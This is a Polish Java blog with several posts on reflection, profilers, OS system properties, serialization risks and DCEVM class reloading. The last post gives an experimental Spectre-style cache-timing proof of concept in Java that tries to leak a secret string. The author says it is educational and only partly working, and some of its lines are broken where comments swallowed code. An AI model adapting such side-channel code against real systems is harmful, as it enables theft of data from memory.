Ale jak jest konstruktor to sprawa się komplikuje.... bo co prawda przy pomocy refleksji można zdobyć info o konstruktorach, a nawet o ich parametrach.... to ich nazwy są tracone w trakcie kompilacji ;-)

Można to zobaczyć uruchamiając poniższy program:

import java.lang.reflect.Constructor;
import java.lang.reflect.Parameter;

public class ReflectionTest {

ReflectionTest(String id, String name) {
System.out.println(id);
System.out.println(name);
}

public static void main(String[] args) {
Constructor<?>[] constructors = ReflectionTest.class.getDeclaredConstructors();
for (Constructor<?> constructor:constructors) {
Parameter[] parameters = constructor.getParameters();
for (Parameter parameter:parameters) {
System.out.println(parameter.getName());
}
}
}
}

Co wypisze? ;-)

Spodziewalibyśmy się, że:
id
name

a tak naprawdę wypisuje:
arg0
arg1

 ;-)


Podobne postybeta
Niecne wykorzystanie refleksji... czyli jak poszukać tekstu w drzewie obiektów? ;-)
Refleksje i serializacja w Java'ie - podstawy i obalanie mitów ;-)
Sztuczki tropiciela błędów, part 4
Serializacja w Java'ie - revisited ;-)
Konstruktory

niedziela, stycznia 05, 2020

Java Profiler jak to działa?

W życiu każdego człowieka który programuje (zwiemy ich programistami i programistkami) nadchodzi taki dzień, że trzeba coś przyspieszyć, bo coś wolno działa i nie do końca wiadomo dlaczego.
Wtedy wzrok takiego kogoś pada na profiler.
Który to profiler obiecuje, że wskaże nam miejsca gdzie nasz kod spędza najwięcej czasu.

Oczywiście zwykle wyniki z profilera nie są tym czego byśmy oczekiwali ;-) bo my byśmy chcieli jasnej informacji, że problem jest w danej linii, a zamiast tego dostajemy informację, że 90% czasu spędzono w metodzie doSth() ;-)

Ale nie o tym tutaj, a o czymś innym.
Zastanawialiście się kiedyś jak działa profiler? :-)

Ja zawsze myślałem, że używa jakichś sprytnych mechanizmów JVM, które mówią ile czasu trwało wykonanie danej metody i że tak naprawdę profiler robi tylko za interfejs do JVM.
Albo, że profiler modyfikuje kod i dodaje swój bytecode do mierzenia czasu...

W tym drugim miałem nawet trochę racji ;-)

A jak jest naprawdę? ;-)

Okazuje się, że profiler zwykle wcale nie wie ile czasu spędzono w metodzie czy metodach, ale używa sprytnej sztuczki by ten czas estymować.

Wiemy, że w Java'ie mamy wątki zwane też Thread'ami.
Mamy też Stack Trace, w którym każda ramka opisuje "linię" kodu w której jest JVM w danej metodzie. Ze Stack Trace'a możemy dowiedzieć się która metoda woła którą.
Zwykle Stack Trace'a widzimy w momencie gdy leci jakiś wyjątek i Stack Trace pozwala nam wyśledzić to miejsce.

Mamy też coś takiego jak Thread Dump, czyli zrzut stanu w postaci StackTrace + stan aktywności dla każdego z wątków.

I właśnie Thread Dump jest kluczowym elementem działania Profilerów ;-)

Profiler "po prostu" prosi z zadanym interwałem JVM o Thread Dump'y i zapisuje je sobie.
Dzięki temu dostaje "historię" tego gdzie dany wątek był w zadanym czasie.

Profiler używając Thread Dump'a próbkuje stan JVM i dzięki tym próbką może pokazać nam gorące fragmenty kodu, w których spędzamy najwięcej czasu*.

Ponieważ Thread Dump jest dość ciężką operacją to w trakcie profilowania prędkość całej aplikacji nam maleje, ale oznacza to też, że istnieje pewna "graniczna" częstotliwość próbkowania, a więc i to, że dokładność/rozdzielczość profilera jest ograniczona.
Stąd profiler może gubić pewne bardzo krótkie metody, albo mocno niedoszacowywać ilość ich wywołań. Co zwykle nie powinno być problemem, bo jeśli robimy 100 zrzutów na sekundę, a metodę wołamy milion razy i ani razu z wciągu tych 100 zrzutów nie byliśmy w tej metodzie to raczej nie ona stanowi nasz problem (ten fragment jest bardziej pisany w oparciu o intuicję niż fakty).

Tu istnieje teoretyczna metoda na poprawienie rozdzielczości, choć szczerze nie wiem czy jest stosowana (tzn. wiem, że jest stosowana np. w AppDynamics, więc pewnie DynaTrace i podobne narzędzia do monitorowania aplikacji też to mogą zrobić, ale w AppDynamics to jest robione "ręcznie" i raczej jest pomyślane jako mechanizm do zbierania metryk biznesowych czy technicznych z aplikacji, a nie metoda na profilowanie per se).
Otóż JVM pozwala na dodanie agenta, który w trakcie ładowania klas może dodać do tych klas swój kod. Jednym ze sposobów jest dodanie kodu na początku i na końcu metody. Ten kod może np. zapisywać informacje o czasie wykonania metody, albo o ilości wykonań metody.
Oczywiście technika ta ma też swoje wady. Bo trudno powiedzieć wtedy jaki procent czasu wykonania danej metody to wykonanie samej metody, a jaki to czas wykonania kodu mierzącego czas i zbierającego statystyki ;-)

Przyznam, że gdy w końcu dowiedziałem się jak działają profilery to trochę spadła mi wiara w ich skuteczność ;-) Nadal są świetnymi narzędziami, ale jednak nie magicznymi.
Wydaje mi się jednak, że teraz jakoś lepiej umiem korzystać z ich wyników.

A i jak potrzebujecie w normalnym życiu programisty czy programistki zajrzeć aplikacji w bebechy to fajnie jest użyć Java Mission Control. Fakt, sam używałem w celach "profilowych" Java Mission Control tylko w Java 8 i nie wiem do końca jak jest z licencją na JCM i jej dostępnością w Java 11...
Ale dzielę się tutaj przydatnymi opcjami do uruchamiania Java'y które w razie obecności JCM zapiszą nam śliczne pliki, które możemy obejrzeć w JCM**.

Poniższy zestaw opcji dla Java'y zapisuje FlightRecord do pliku rec.jfr
-XX:+UnlockCommercialFeatures -XX:+FlightRecorder -XX:FlightRecorderOptions=dumponexit=true,dumponexitpath=rec.jfr -XX:StartFlightRecording=defaultrecording=true


(to wyżej to kopia z moich notatek z Notion (wcześniej z Evernote))

* - OK, tak naprawdę może pokazać nam też punkty, które nie są gorące, ale np. wątek tam na coś czeka, np. na sieć.
** - uwaga, Oracle coś spaprało i na Java 8 UI do JCM nie działa na macOS, stąd dobrze mieć jest do oglądania zapisów z JCM gdzieś 1.8.0_96 czy podobną.


Podobne postybeta
Sztuczki tropiciela błędów, part 2 ;-)
Zinwigiluj się sam ;-)
Raport z emigracji ;-)
wait() i notify()/notifyAll() - najbardziej nierozumiane metody klasy Object ;-)
Inercja i koło wielokrotnego wynajdywania, czyli radosne macki piekieł w kodzie [alem pojechał w tytule ;-)]

niedziela, grudnia 22, 2019

"os.arch", "os.name", "sun.arch.data.model" co to jest i co pokazuje na jakiej maszynie i OSie? ;-)

[updated 21/02/2021 ;-) niżej dodano wyniki dla Macbooka z M1 :-)]
Ostatnio musiałem dodać do kodu testy, które testują czy interfejs do bazy danych dobrze gada z DynamoDB.
Zdecydowałem, że użyje lokalnego DynamoDB, które dostarcza AWS.
Problem w tym, że drań wymaga natywnych bibliotek na ścieżce...
A kod będzie uruchamiany na macOS, Windows i Linuksie ;-)
Stąd musiałem napisać kawałek, który rozpoznaje którą bibliotekę natywną umieścić na ścieżce.

Tutaj podzielę się czymś podobnym, a mianowicie tym jak różne OSy i czasem platformy sprzętowe się przedstawiają gdy pyta się je o to kim są z Java'y ;-)


Podstawą naszej zabawy będzie ten prosty programik:

public class Test {

public static void main(String[] args) {
System.out.println("OS Architecture : " + System.getProperty("os.arch"));

System.out.println("OS Name : " + System.getProperty("os.name"));

System.out.println("OS Version : " + System.getProperty("os.version"));

System.out.println("Data Model : " + System.getProperty("sun.arch.data.model"));

System.out.println("Endian : "+ System.getProperty("sun.cpu.endian"));
}

}

Tutaj opis tego co oznaczają poszczególne informacje.

OS Architecture (os.arch) - prostu architektura CPU i OSa (CPU może mieć często wyższą architekturę, ale uruchamiać kod dla "niższej" architektury). W przypadku Java'y będą to teraz głównie amd64 i x86_64 (obie znaczą to samo, ale zależą od OSa), czasem może się zdarzyć arm, z rzadka x86.
OS Name (os.name) -  nazwa OSa, najbardziej "niepewna" część, macOS to np. czasem macOS, a czasem Darwin, Windows to czasem win, a czasem Windows. Jak jednak pokazują rezultaty, ostatnimi czasy jest jakiś porządek tutaj.
OS Version (os.version) - wersja OSa, chyba najmniej przydatna rzecz. Rzadko w Java'ie używamy wersji OSa do detekcji czekogolwiek.
Data Model (sun.arch.data.model) - bitowość Java'y :-) najmniej musi być 32, bo Java nigdy nie występowała w wersja 16 bitowej (przynajmniej nie znam takowej), teraz prawie zawsze 64. Ważna gdy ładuje się biblioteki natywne, bo 32 bitowy kod nie może być wykonany w trybie 64 bitowym, a 64 bitowy w trybie 32 bitowym.
Endian (sun.cpu.endian) - ciekawostka, "indianowatość" CPU. Tu jest ciekawe bo i x86 i ARMy są little endian, a sama Java jest big endian. Ogólnie w przypadku zapisu liczb w CPU, pamięci czy w pakietach przesyłanych siecią (albo w plikach) powstaje pytanie gdzie są które części liczby, czy bajt należy czytać od lewej czy prawej, czy słowo od prawej czy lewej i tak dalej. Kiedyś było to dość ważne, dziś żyjemy w świecie gdzie to wszystko jest zwykle dla nas załatwiane przez OS i biblioteki. Nasze OSy i CPU są little endian, sieć i Java big endian, a mimo wszystko to jakoś działa.

Sam programiki uruchomiłem na kilku konfiguracjach (z czego 3 to mój MBP 15 z macOS Catalina + Parallels 15)

Wyniki są takie:

Linux (Ubuntu 18.04, uruchomione przez Parallels 15 na macOS Catalina)
OS Architecture : amd64
OS Name : Linux
OS Version : 4.15.0-72-generic
Data Model : 64
Endian : little

Windows (Windows 10, uruchomione przez Parallels 15 na macOS Catalina)
OS Architecture : amd64
OS Name : Windows 10
OS Version : 10.0
Data Model : 64
Endian : little

macOS Catalina
OS Architecture : x86_64
OS Name : Mac OS X
OS Version : 10.15.2
Data Model : 64
Endian : little

Raspbian na Rasbperry Pi (Pi 2 Model B)
OS Architecture : arm
OS Name : Linux
OS Version : 4.1.19-v7+
Data Model : 32
Endian : little

Linux (Ubuntu 16.04)
OS Architecture : amd64
OS Name : Linux
OS Version : 4.4.0-170-generic
Data Model : 64
Endian : little

Android (Android Emulator w trybie x86 na macOS Catalina)
OS Architecture : i686
OS Name : Linux
OS Version : 4.14.112+
Data Model : null
Endian : null

Android (Pixel 3 XL z Androidem 10)
OS Architecture : aarch64
OS Name : Linux
OS Version : 4.9.185-xxxxx
Data Model : null
Endian : null

Macbook z M1 (dodane 21/02/2021)
OS Architecture : x86_64
OS Name : Mac OS X
OS Version : 10.16
Data Model : 64
Endian : little

Macbook z M1 (dodane 10/05/2021) - w końcu ARMa raportuje ;-)
OS Architecture : aarch64
OS Name : Mac OS X
OS Version : 11.2.3
Data Model : 64
Endian : little


Jak widać największe zamieszanie panuje w OS Architecture.
Na Windows i Linuksie pryz 64 bitach mamy amd64, ale na macOS X mamy x86_64.
Obie są prawidłowymi nazwami, choć x86_64 było nazwą zaproponowaną przez AMD gdy tworzyli ten tryb dla Athlonów, a amd64 powstało trochę później*.

Jeszcze kilka lat temu problemem była też "bitowość", czyli Data Model.
Wtedy sprawa się komplikowała, bo choć większość CPU na rynku była już 64 bitowa, to jednak OSy nadal były 32 bitowe. Później już i OSy i CPU były 64 bitowe, ale jeszcze soft był 32 bitowy.
Przez jakiś czas dostępne były wersje Java'y dla 64 bitowych OSów, które mogły pracować w 32 i 64 bitach.
Tutaj napiszę z pamięci, bo nie mam nigdzie żadnego 32 bitowego procesora zgodnego z x86, ani 32 bitowego OSa :-)
Ale jeśli dobrze pamiętam dla Windows to był x86, dla Linuksa i386 (czasem i586???), nie mam pojęcia jak było z macOS.
Na szczęście od paru lat wszystko co mamy ma prawie na 100% 64 bity (najnowsze Raspberry Pi 4 też jest 64 bitowe).

Kolejnym problemem jest OS.
Wydaje się jednak, że dziś można niemal na 100% przyjąć, że 1 słowo w lower case pozwoli na rozpoznanie OSa.
Widzimy też, że Android to tak naprawdę Linux ;-)

Oczywiście autorzy natywnych bibliotek nie zawsze przestrzegają reguł, stąd jeśli wiemy, że nasz kod będzie działał np. tylko na 64 bitowych wersjach macOS, Linuksa i Windows to prościej po prostu dokonywać detekcji OS'a i zamiast budować nazwę biblioteki, to po prostu mieć zahardcodowane wersje dla każdego z OSów.
Nie jest to najbardziej uniwersalna metoda, ale kod jest dużo prostszy ;-)

* - historia jest taka, że Intel uznał, że przejście na 64 bity to dobry moment na przejście na nową architekturę. Ale ponieważ była to nowa architektura, konieczna byłaby nowa licencja i dodatkowo trzeba by było tworzyć całkiem nowe procesory. Stąd AMD postanowiło wziąć istniejącą architekturę x86 i ją "zupgradować" do 64 bitów, tak jak kilka lat wcześniej zrobił Intel gdy dodał do 16 bitowego x86 32 bitowość.
Przez ten manewr, który pozwolił na w miarę szybkie przeniesienie kompilatorów i istniejącego kodu (nawet w assemblerze) na nową 64 bitową architekturę, x86_64 zabrał prawie cały rynek Itanium,  który praktycznie umarł i żyje teraz tylko w highendowych procesorach od Intela, a i sam Intel planuje tę architekturę "umrzeć" w 2021 roku.



Podobne postybeta
Dla Java'y Apple Silicon M1 to jednak nadal x86 ;-)
W końcu dane z M1, które w Java'ie mówią, że to jest ARM :-)
"CPUInfo" w Java :-)
JNA, czyli w Java'ie też można :-)
Exif jest zły - część 2 :-)

wtorek, września 17, 2019

Który kod (nie kot! ;-)) lepszy?

Mamy kawałek kodu:
public List<List<Integer>> getLevelsOfTree(TreeNode root) {
List<TreeNode> nodes = List.of(root);
List<List<Integer>> res = new ArrayList<>();
while (!nodes.isEmpty()) {
res.add(nodes.stream().map(curr -> curr.val).collect(Collectors.toList()));
nodes = nodes.stream().map(curr -> Arrays.asList(curr.left, curr.right)).flatMap(List::stream).filter(Objects::nonNull).collect(Collectors.toList());
}
return res;
}

Oraz:
public List<List<Integer>> getLevelsOfTree(TreeNode root) {
List<List<Integer>> res = new ArrayList<>();
preOrder(root, 0, res);
return res;
}

private void preOrder(TreeNode root, int d, List<List<Integer>> res) {
if (root==null) return;
if (res.size()==d) res.add(new ArrayList<>());
res.get(d).add(root.val);
preOrder(root.left, d+1, res);
preOrder(root.right, d+1, res);
}

Który jest bardziej czytelny?

Do mnie osobiście przemawia bardziej ten drugi, bo widzę, że robi preOrder po drzewie i zapisuje sobie wartości node'ów.
Ten pierwszy robi magię.
Najpierw wrzuca root'a drzewa do listy, później póki lista node'ów nie jest pusta to dodaje do listy wyników wartości node'ów, a później tworzy nową listę node'ów robiąc lekką magię.

Niby to pierwsze jest bardziej kompaktowe, ale IMHO trudniejsze do zrozumienia.
Do tego jak to drugie zużywa O(N) pamięci na N wartości + O(log(N)) na stos (jeśli drzewo nie jest listą...), a to pierwsze trudniej powiedzieć. Głównie działa na strumieniach, ale terminuje je collectorami. Tak stawiam, że używa O(N) pamięci.
Czasowo pierwsze jest wolniejsze (i to nawet na Java 11!!), nie dam głowy, ale zakładam, że nadal przygotowanie lambd i ich wołanie kosztuje.

Ten pierwszy wydaje mi się bardziej hacky, ten drugi bardziej straight-forward...

Jakieś opinie?


Podobne postybeta
Niecne wykorzystanie refleksji... czyli jak poszukać tekstu w drzewie obiektów? ;-)
Sztuczki tropiciela błędów - breakpoint na sterydach ;-)
Java 8 nadchodzi....
Giń konstruktorze! Giń! ;-)
Nie lubię Sparka ;-)

sobota, lutego 23, 2019

Serializacja w Java'ie - revisited ;-)

Blisko 9 lat temu napisałem chyba najpopularniejszy wpis na moim blogu, o serializacji i relfeksji.

Dziś postanowiłem wrócić do tematu ;-)

Zacznę od tego, że Serializable był rzeczą, która mnie zachwyciła w Java'ie.

Do teraz mnie zachwyca, chociaż już nie tak bardzo ;-)

Czym jest serializacja?
To zamiana obiektu w strumień danych, dzięki czemu można obiekty zapisywać "na później" albo przesyłać.
Po drugiej stronie procesu jest deserializacja, czyli "zbudowanie" obiektu na podstawie tego co wcześniej zapisaliśmy.

Jakie obiekty są serializowalne?
Żeby obiekt był serializowalny w Java'ie MUSI implementować Serializable.
Sam interfejs Serializable jest interfejsem znacznikowym, nie wprowadza wymogu implementacji żadnych metod, a sygnalizuje tylko JVM, że dany obiekt obiecuje, że da się zserializować.

To jest tylko obietnica.
Kompilator w compile time nie jest w stanie stwierdzić czy to jest prawda.
JVM dopiero w runtime próbując dokonać serializacji, czy też deserializacji sprawdza czy jest to możliwe.

Jest to istotne o tyle, że fakt posiadania wśród przodków klasy, które implementuje Serializable i jest serializowalna nie oznacza wcale, że nasza klasa ładnie się zserializuje.

Samo implementowanie Serializable też nie znaczy, że jesteśmy z automatu serializowalni.
By to była prawda musimy zapewnić tą serializowalność.

Pola w nasze klasie, jak i superklasach muszą być serializowalne, oznaczone jako transient albo musimy dostarczyć mechanizmu serializacji.

Wszystkie pola niestatyczne i nie oznaczone jako transient są serializowane, niezależnie od ich widoczności.

Do tego to, że obiekt dało się zserializować nie oznacza od razu, że uda się go zdeserializować.

Czy konstruktory są używane w trakcie deserializacji?
I nie i tak ;-)
Ogólnie nie, jeśli klasa implementuje Serializable to jej konstruktor nie będzie wołany.
Ale, jeśli któryś z przodków po drodze nie implementuje Serializable i nie ma konstruktora domyślnego to mamy problem ;-)
Tutaj warto pamiętać, że jeśli nie napiszemy żadnego konstruktora dla naszej klasy, to Java sama doda bezparametrowy konstruktor domyślny.
Do tego gdy piszemy nasz konstruktor i nie zawołamy w naszym konstruktorze konstruktora klasy bazowej to Java dopisze nam super() jako pierwszą linię naszego konstruktora, czyli wywoła konstruktor domyślny superklasy.
Jeśli nie ma takiego konstruktora to kod nam się nie skompiluje, no chyba że sami zrobimy super z parametrami do jednego z istniejących konstruktorów.

W trakcie deserializacji JVM używa więc konstruktorów dla tych klas które są w hierarchii przed pierwszą klasą oznaczoną jako taka, która implementuje Serializable.

Jeśli ta klasa nie ma konstruktora domyślnego, a nasza klasa ma wywołanie któregoś z niedomyślnych (czyli kod się kompiluje) to choć mamy kompilowalny kod to deserializacja będzie niemożliwa.

Stąd rule of thumb jest, jeśli już musisz używać serializacji/deserializacji to upewnij się, że klasa bazowa na której budujesz swój obiekt implementujący Serializable ma konstruktor domyślny ;-)

Jak zserializować obiekt?
To jest akurat proste, trzeba skorzystać z ObjetOutputStream, tutaj przykład jak to wygląda gdy chcemy nasz obiekt zapisać do pliku:

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("toster.dat")); 
oos.writeObject(obj);
oos.close();

To zapisze nam obiekt do pliku "toster.dat" (oczywiście trzeba jeszcze obsłużyć wyjątki, które mogą stąd polecieć).
To wszystko przy założeniu, że obj, które próbujemy zapisać jest serializowalne.

OK, czyli jak sprawić by obiekt był serializowalny?
Jak już było wyżej, by obiekt był serializowalny wymagania są takie:

  • musi implementować Serializable (lub jedna z jego superklas musi),
  • wszystkie pola muszą być albo:
    • serializowalne (czyli implementować Serializable),
    • byś typami prostymi,
    • być oznaczone jako transient
      • by je zapisać trzeba dostarczyć własny mechanizm serializacji, lub pole takie będzie zignorowane.
Pola, które są typów prostych, lub takich które implementują Serializable zostaną zserializowane przez wbudowane w JVM mechanizmy, pola transient zostaną przez te mechanizmy zignorowane.

Jak zserializować dane z pól oznaczonych jako transient?
Da się ;-)
W takim przypadku trzeba dostarczyć własny mechanizm, który to mechanizm opiera się o 3 metody:

private void writeObject(java.io.ObjectOutputStream out) throws IOException; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException; 
private void readObjectNoData() throws ObjectStreamException;

W trakcie serializacji ważna jest pierwsza metoda, dwie pozostałe są istotne w trakcie deserializacji.

Najpierw wołamy defaultWriteObject(), która to metoda zapisze za nas wszystkie pola niestatyczne i nietransient.
Oczywiście nie ma obowiązku wołania tej metody ;-)
Dalej dajemy kod, który zapisuje wartości które będziemy umieli później wykorzystać do zbudowania obiektu czy obiektów oznaczonych jako transient.

Jak zdeserializować obiekt?

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("toster.dat")); OurType object = (OurType)ois.readObject();
ois.close();


Warto zwrócić uwagę na to rzutowanie w 2 linii, które jest ważne o tyle, że readObject() zwraca Object, który musimy zrzutować na to co wczytujemy.
Oczywiście wypadałoby wcześniej sprawdzić czy to co wczytujemy jest instancją naszego typu i dopiero wtedy rzutować.

Mamy też dla pól oznaczonych jako transient metodę readObject(), która najpierw przy pomocy defaultReadObject(), wczytuje standardowo zapisane pola i po tym implementujemy mechanizm wczytujący pola transient.

W przypadku methody readObjectNoData() napiszę to co napisałem 9 lat temu ;-)
Ostatnią metodą jest readObjectNoData(), której przyznam się nigdy nie musiałem używać :-) więc mogę się w jej opisie oprzeć tylko na opisie z JavaDoc'a. W skrócie metoda ta jest wołana wtedy gdy "podnoszonej" klasy nie ma w strumieniu, który próbujemy odczytać...... ale przyznam, że nie udało mi się tego teraz oprogramować :-(

Oczywiście mechanizm z writeObject/readObject można wykorzystać także do napisania własnego mechanizmu serializacji/deserializacji, nie ma przymusu używania tych wbudowanych w Java'ę.

Serializacja w Java'ie pozwala jeszcze na użycie metod writeReplace() i readResolve(), które służą temu by zapisać alternatywne obiekty.
Powiedzmy, że nasz obiekt jest serializowalny, ale nie chcemy go zapisywać całego, potrafimy zapisać go w "lepszy" sposób, wtedy implementujemy writeReplace() które zwróci inny obiekt, który zostanie zapisany przez domyślny mechanizm serializacji.
readResolve() zostanie użyte w trakcie deserializacji.

Przyznam, że nigdy nie musiałem używać tych 2 metod.

A co z wersjonowaniem?
No właśnie...
Nie jest dobrze z wersjonowaniem.
Obiekt implementujący Serializable powinien mieć statyczne finalne pole typu long o nazwie serialVersionUID, które mówi o wersji obiektu.
W trakcie serializacji wartość tego pola jest zapisywana, a w trakcie deserializacji wartość tego pola jest porównywalna z tą w klasie deserializowanego obiektu i jeśli się nie zgadzają JVM zgłasza wyjątek.
Jeśli nie stworzymy sami tego pola to kompilator zrobi to za nas. Ale jeśli zmienimy cokolwiek w naszej klasie, dodamy pole, usuniemy, albo nawet po prostu zrobimy dowolną edycję w pliku to kolejna skompilowana klasa z naszego pliku będzie miała inną wartość serialVersionUID....
Czyli chociaż mechanizm deserializacji powinien być w stanie odczytać nasz plik to nie będzie umiał.
Nawet nasza własna implementacja readObject nas tu nie uratuje....

Czy powinno się używać serializacji w Java'ie?
Nie do końca ;-)
Po pierwsze problem z wersjonowaniem jest poważny i mocno ogranicza możliwość pracy z Serializable.

Po drugie i chyba ważniejsze ;-) Oracle planuje wyłączenie serializacji w kolejnych wersjach Java'y.

To przez to, że serializacja i deserializacja są źródłem największej ilości błędów bezpieczeństwa w Java'ie.

Wszystko dzięki temu, że cały proces deserializacji to nic innego jak interpreter, a interpretery w samej swej naturze są niebezpieczne.

Stąd jeśli zdecydujesz się na używanie serializacji to z jednej strony ryzykujesz, że któraś z przyszłych wersji Java'y wyłączy ten mechanizm, ryzykujesz też otwarcie powierzchni do ataku swojej aplikacji.

Istnieją też mechanizmy alternatywne, które lepiej nadają się do serializacji i deserializacji obiektów.
Ale to już temat na kolejny wpis ;-)


Podobne postybeta
Refleksje i serializacja w Java'ie - podstawy i obalanie mitów ;-)
Wymiana obiektów między PC a Androidem... - użyj serializacji Luke ;-)
Lenistwo w działaniu, "piklujemy" Androida ;-)
Czemu trzeba pomagać Jacksonowi? ;-)
Konstruktory

wtorek, marca 27, 2018

Jak wykryć, że ktoś nam zmienia klasy w JVM?

Ostatnio poprawiłem w DCEVM problem polegający na tym, że DCEVM nie updatował dla przeładowywanych klas pola classRedefindedCount...

Okazuje się, że Twórcy Java'y wpadli na pomysł tego by klasa dostarczała informacji o tym jak często jej zawartość była updatowana ;-)
Gdzie updatowanie oznacza zamianę kodu, albo pól (to w razie używania DCEVMa ;-)).

Żeby odczytać liczbę razy ile nasza klasa została zmieniona wystarczy użyć tej metody (za DCEVMem):

public static int getClassRedefinedCount(Class type) {
try {
Field field = Class.class.getDeclaredField("classRedefinedCount");
boolean accessibility = field.isAccessible();
field.setAccessible(true);
int classRedefinedCount = (Integer) field.get(type);
field.setAccessible(accessibility);
return classRedefinedCount;
} catch (Exception e) {
throw new RuntimeException(e);
}
}

Dzięki zawołaniu tej metody z naszym typem poznamy liczbę redefinicji naszej klasy ;-)

Metoda jak łatwo zobaczyć poprzez refleksje dociera do pola classRedefinedCount w Class i odczytuje jego wartość z instancji, którą jest nasz typ ;-) [rzadko się używa Class jako instancji ;-)]

Po co to komu?
Można by np. dodać kawałek do aplikacji, który skanuje wszystkie klasy i stwierdza czy np. ktoś apki nie debuguje i nie zmienia w locie ;-)

I jak na razie to jedyne zastosowanie na jakie wpadłem :-)

Ale mój pierwszy coś zrobiony w C++ już istnieje :-)


Podobne postybeta
Dodawanie i usuwanie metod i pól z klas Java w locie ;-)
PROPFIND, czyli jak przechytrzyć HttpURLConnection
Niecne wykorzystanie refleksji... czyli jak poszukać tekstu w drzewie obiektów? ;-)
Sztuczki tropiciela błędów, part 4
Ile to jest 1+1 w Java'ie?

wtorek, lutego 27, 2018

Dodawanie i usuwanie metod i pól z klas Java w locie ;-)

Praca z Javą jest zwykle dość fajna i ciekawa, ale czasem bywa dziwnie.

Jak masz fajne środowisko gdzie można mieć uruchomioną aplikację i zmieniać ją w locie to wszystko jest wygodne, ale raz na jakiś czas jest amba bo dodaje się lub kasuje metodę czy pole w klasie i przeładowanie klasy nie działa....

No i trzeba restartować aplikację...

Chociaż okazuje się, że nie zawsze ;-)
Tak koło 2010 roku ktoś wpadł na pomysł by może spróbować zmienić JVM tak by można było jednak przeładowywać klasy w locie ;-) wpadł na pomysł i stworzył DCEVM, czyli Dynamic Code Evolution VM.

DCEVM to nic innego jak zestaw patchy na JVM z OpenJDK.

Patche te po pierwsze ustawiają JVM w taki sposób by zawsze używała tego samego GC, a następnie zmieniają kod tego GC tak by w trakcie uruchamiania sprawdzał czy aby nie ma nowszej definicji klas, a jeśli są to by probował przepisać instancje tak by korzystały z nowego kodu...
Do tego w momencie gdy IDE przesyła do JVM nową wersję klasy to DCEVM zaznacza sobie, że ma tą nową wersję i wywołuje GC ;-)...

No i teraz jest tak, że developując "przeciwko" DCEVMowej JVM można swobodnie dodawać i odejmować metody i pola w klasach :-)

W najgorszym przypadku, gdy to GC połączone ze zmianą definicji klasy wykona się w trakcie wykonywania metody, która woła metodę którą skasowaliśmy właśnie w updacie tej klasy to poleci nam MethodNotFoundException ;-)

Do tego DCEVMa można zainstalować jako alternatywną JVM i mówić tylko IDE by uruchamiało debugowaną apkę w DCEVM... co robimy używając opcji dla JVM +XXaltjvm=dcevm :-)

Czemu o tym piszę? Bo lekko grzebię w DCEVMie ostatnio ;-) [firmowo :-)]
Fakt, moje grzebanie to na razie zaaplikowanie poprawek kolegi, kompilacja i wrzucenie wersji pre-release ;-)
Na moim GitHubie zrobiłem też wersję dla najnowszej Java'y 8 (Jdk8u161/162) :-)
Ale projekt mi się wydaje bardzo ciekawy, stąd się dzielę :-)


Podobne postybeta
Jak wykryć, że ktoś nam zmienia klasy w JVM?
Jak masz doła to nawet rozwiązanie problemu niezbyt cieszy ;-)
Defragmentacja SSD - o tym dlaczego nie należy jej robić
Windows 8 po kilku dniach
Moto 360 i Lollipop na Nexusach

niedziela, stycznia 07, 2018

Spectre powinno działać nawet w Java'ie ;-)

[Update: żeby było zabawniej dziś uruchomiłem na służbowym MBP15 i tutaj nie działa :-), co znaczy najpewniej, że coś jest nie tak w mojej implementacji, albo co mniej prawdopodobne, że już macOS został poprawiony ;-)]

Jak rozumiem Spectre działa dzięki temu, że CPU wykonuje spekulatywnie obie gałęzie warunku. Do tego dochodzi to, że jeśli w którejś z tych gałęzi mamy dostęp do pamięci głównej to jest fragment tej pamięci ładowany do cache'a procesora.
Dzięki temu później mierząc czasy dostania się do różnych fragmentów pamięci można próbować zgadnąć jaka była wartość zmiennej użytej do wyliczenia adresu tego ładowanego spekulatywnie fragmentu pamięci.

Chciałem sprawdzić czy podobne podejście pozwoli napisać w Java'ie kawałek kodu, który będzie miał pewien String, ale nigdzie go nie wypisze... i czy da się jego zawartość wypisać ;-)

Na razie odpowiedź jest, że tak, ale nie cały, co pewnie oznacza, że jeszcze nie do końca rozumiem działanie tego mechanizmu ;-)

Kod wygląda mniej więcej tak:

import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;

public class Spectre {

public static void main(String[] args) {
Map<Integer,Map<Character,Integer>> map = new LinkedHashMap<>();
String s = "this is a secret string";
int[] array1 = new int[1024 * 1024 * 10];
int[] array2 = new int[100 * 1024 * 1024];
for (int k=0; k<100; k++) {
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
if (c > array1[i * 16384 * 16] && i > array1[i * 4096 + array1.length / 2]) {
int y = array2[c * 8192 * i];
} else {
try {
Thread.sleep(100);
} catch (InterruptedException ie) {
// }
}
// lest try to guess c... char cCandidate = 0;
long min = Long.MAX_VALUE;
String chars = "abcdefghijklmnopqrstuvwxyz ";
for (int j = 0; j < chars.length(); j++) {
char a = chars.charAt(j);
long start = System.nanoTime();
int y = array2[a * 8192 * i];
long val = System.nanoTime() - start;
if (val < min) {
min = val;
cCandidate = a;
}
}
System.out.print(cCandidate);
map.computeIfAbsent(i,key->new HashMap<>());
map.get(i).put(cCandidate, map.get(i).getOrDefault(cCandidate,0)+1);
}
System.out.println();
}
System.out.println();
for (Integer pos:map.keySet()) {
char maxChar = 0;
int max=Integer.MIN_VALUE;
for (Map.Entry<Character,Integer> entry:map.get(pos).entrySet()) {
if (entry.getValue()>max) {
max=entry.getValue();
maxChar=entry.getKey();
}
}
System.out.print(maxChar);
}
}
}

Jakby co zastrzeżenie, to tutaj jest tylko w celach edukacyjnych.
 No i jeśli ktokolwiek byłby w stanie zbudować na tym co napisałem narzędzie do ataku czegokolwiek to i tak jest o wiele lepszym programistą niż ja i to tutaj mu lub jej wcale nie pomoże.

Jak to działa? :-)
A tak, że cud się dzieje w linii w której robimy sprawdzenie warunku z c (czyli kolejną literką w tajnym łańcuchu).
Ponieważ CPU by ustalić którą ścieżkę wybrać musi czytać z pamięci głównej to nie wie którędy pójdzie wykonanie programu.
Przez to spekulatywnie wykonuje obie ścieżki, chociaż prawdziwy jest tylko ta druga.
Ale jak wykonuje się spekulatywnie pierwsza ścieżka to wartość naszej szukanej zmiennej używana jest do zaadresowania elementu w tablicy, a że ten element nie znajduje się w cache'u to CPU musi załadować też ten fragment pamięci...

Następnie mierzymy czasy dostępu do pamięci odpowiadające poszczególnym literą.
